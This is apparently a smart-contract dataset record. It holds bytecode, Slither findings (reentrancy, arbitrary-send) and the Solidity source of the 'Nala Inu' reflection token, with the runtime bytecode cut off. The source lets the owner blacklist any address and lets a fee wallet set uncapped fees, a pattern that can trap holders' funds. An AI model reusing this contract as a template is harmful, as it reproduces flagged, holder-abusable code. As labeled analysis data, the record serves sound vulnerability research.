352d565b604082019050919050565b6000612c83602083613116565b9150612c8e8261357c565b602082019050919050565b6000612ca6602983613116565b9150612cb1826135a5565b604082019050919050565b6000612cc9602583613116565b9150612cd4826135f4565b604082019050919050565b6000612cec602483613116565b9150612cf782613643565b604082019050919050565b6000612d0f601783613116565b9150612d1a82613692565b602082019050919050565b6000612d32601183613116565b9150612d3d826136bb565b602082019050919050565b612d518161327a565b82525050565b612d6081613284565b82525050565b6000602082019050612d7b6000830184612ae0565b92915050565b6000604082019050612d966000830185612ae0565b612da36020830184612ae0565b9392505050565b6000604082019050612dbf6000830185612ae0565b612dcc6020830184612d48565b9392505050565b600060c082019050612de86000830189612ae0565b612df56020830188612d48565b612e026040830187612b5c565b612e0f6060830186612b5c565b612e1c6080830185612ae0565b612e2960a0830184612d48565b979650505050505050565b6000602082019050612e496000830184612b4d565b92915050565b60006020820190508181036000830152612e698184612b6b565b905092915050565b60006020820190508181036000830152612e8a81612ba4565b9050919050565b60006020820190508181036000830152612eaa81612bc7565b9050919050565b60006020820190508181036000830152612eca81612bea565b9050919050565b60006020820190508181036000830152612eea81612c0d565b9050919050565b60006020820190508181036000830152612f0a81612c30565b9050919050565b60006020820190508181036000830152612f2a81612c53565b9050919050565b60006020820190508181036000830152612f4a81612c76565b9050919050565b60006020820190508181036000830152612f6a81612c99565b9050919050565b60006020820190508181036000830152612f8a81612cbc565b9050919050565b60006020820190508181036000830152612faa81612cdf565b9050919050565b60006020820190508181036000830152612fca81612d02565b9050919050565b60006020820190508181036000830152612fea81612d25565b9050919050565b60006020820190506130066000830184612d48565b92915050565b600060a0820190506130216000830188612d48565b61302e6020830187612b5c565b81810360408301526130408186612aef565b905061304f6060830185612ae0565b61305c6080830184612d48565b9695505050505050565b600060208201905061307b6000830184612d57565b92915050565b600061308b61309c565b905061309782826132d6565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c1576130c06133ae565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131328261327a565b915061313d8361327a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317257613171613350565b5b828201905092915050565b60006131888261327a565b91506131938361327a565b9250826131a3576131a261337f565b5b828204905092915050565b60006131b98261327a565b91506131c48361327a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fd576131fc613350565b5b828202905092915050565b60006132138261327a565b915061321e8361327a565b92508282101561323157613230613350565b5b828203905092915050565b60006132478261325a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329c8261327a565b9050919050565b60005b838110156132c15780820151818401526020810190506132a6565b838111156132d0576000848401525b50505050565b6132df826133dd565b810181811067ffffffffffffffff821117156132fe576132fd6133ae565b5b80604052505050565b60006133128261327a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334557613344613350565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ed8161323c565b81146136f857600080fd5b50565b6137048161324e565b811461370f57600080fd5b50565b61371b8161327a565b811461372657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071386bbe0c90bc140691e9483c08488d5b5cd23da6e512e4cb15a5669899ae4b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,411
0xa01a2b9df8e8d07644d37912b7c7fda47c4697e4
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Nala is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; address payable private _feeAddrWallet1 = payable(0x68c9013a4084875a9e44bdd3E7621CB75f61B552); address payable private _feeAddrWallet2 = payable(0x68c9013a4084875a9e44bdd3E7621CB75f61B552); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 4; uint256 private _feeAddr2 = 6; string private constant _name = "Nala Inu"; string private constant _symbol = "NALA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f4e616c6120496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e414c4100000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202